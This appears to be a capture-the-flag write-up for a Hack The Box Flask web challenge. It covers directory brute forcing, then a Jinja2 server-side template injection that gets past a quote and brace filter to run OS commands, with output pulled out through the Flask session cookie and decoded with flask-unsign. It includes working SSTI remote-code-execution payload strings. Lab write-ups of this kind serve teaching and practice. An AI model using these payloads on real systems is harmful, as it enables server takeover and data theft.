It is very interesting web challenges from the HTB. To begin, it requires knowledge about Server side Template Injection
which is know for the name is SSTI. If you don’t know it, Portswigger lab (link) is a good place to start.
Now let’s start.
Enumeration
At a first glance, we can see this page has only 1 input field and when you submit it, it make a GET
request to itself with paramater is name
. I will start with some directories bruteforcing.
Directory brute force
gobuster dir -u http://188.166.173.208:31766/ -w /usr/share/wordlists/dirb/common.txt -t 20
...
===============================================================
/console (Status: 200) [Size: 1985]
/debug (Status: 200) [Size: 2298]
The result give us 2 more directories
/console
: a debug console for Flask/debug
: a page showing some source code (you can also find this one base onview source
of the landing page)
/console
This one showing the debug console but we have no pin code for it. So I will move on
/debug
This could be the source code of the main.py
. By reading you can extract these information
- It has 2 route is
/
and/debug
- It is using Template engine is
jinja2
- The main flow of the code of the landing page is it take your input and then store it in the database. Then it fetch data from database and put it into the template
acc_templ
by replacing 2 word isbaby_ninja
andreb_num
. But we can’t see that page where our payload in put inside
Base on that, we can indentify there could be 3 possible flaw is XSS
, SQLi
and SSTI
. However we notice that it has a filtered mechanism
It filtered out our '
so it could make SQLi
be more harder as well as SSTI
. But with SSTI
we have more to bypass so it could be a good choice in compare with SQLi
. Moreover, a successfull SSTI
can produce RCE which is more danger and don’t require user interaction like XSS. So it is a good choice to start witth SSTI
here.
Exploit
For the exploit I try to use tplmap
but it don’t work so I have to exploit it manually
Bypass filter
So we know that it filtered out { {
, '
and "
. After a few research from hackstrick and this article I found out we can bypass these using these techinque
NOTE: For these below we dont have space between {
and {
or {
and %
like { %
. I have to add space to bypass the error for rendering my github page
For { {
: we can use payload without using { {
is:
?name={ % if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('sleep 5')['read']() == 'chiv' % } a { % endif % }
But the problem now shift to '
. So I found out another payload which is use less '
?name={ % if request.application.__globals__.__builtins__.__import__('os').popen('sleep 5').read() == 1 % }{ % endif % }
Now we have only 2 field that need '
but we can bypass this by get string from another GET paramters like this
?name={ % if request.application.__globals__.__builtins__.__import__(request.args.os).popen(request.args.cmd).read() == 1 % } { % endif % }&os=os&cmd=sleep 5
By using 2 new parameter is os
and cmd
and replacing the strings with data get from our paramter request.args.os
and request.args.cmd
we can bypass the filter. Cause we can’t see the site so I use sleep 5
to cause the system delays 5s to check whether our code run
Extractfill the data
Now we can execute our code but how can we get data. The first way i try to make a request to my Burp Collaborator Client
with the command nslookup burl_url
but it not work (it could be the box block the request). Now I start to googling and read its documents. And after a hints on the dicussion, I came up with the idea that we can store our return value inside session cookie and decode to read it. So i use this payload
?name=&os=os&cmd=whoami&key=data
Cause the session cookie key require a strings so we need one more param is key
and use request.args.key
to get that value. After submit it, you can see the Set Cookie
header in the Reponse hold our session. Take that session and the decode with flask-unsign
root@kali:/tmp# pip3 install flask-unsign
...
root@kali:/tmp# flask-unsign -d -c eyJkYXRhIjp7IiBiIjoiYm05aWIyUjVDZz09In19.YRZOoA.q1tSVcFtdq4spyBu8Dp_ym5-UI8
{'data': b'nobody\n'}
Now we successfull to extract the data. You can use this to find the flag name and extract it
root@kali:/tmp# flask-unsign -d -c eyJkY[REDECTED]
{'data': b'app.py\nflag_xxxxx\nschema.sql\nstatic\ntemplates\n'}
root@kali:/tmp# flask-unsign -d -c eyJkYXRhIjp[REDECTED]
{'data': b'HTB{b4byxxxxxxxxxxxxxxxxxxxxxxc4ughT}\n'}
And this is the end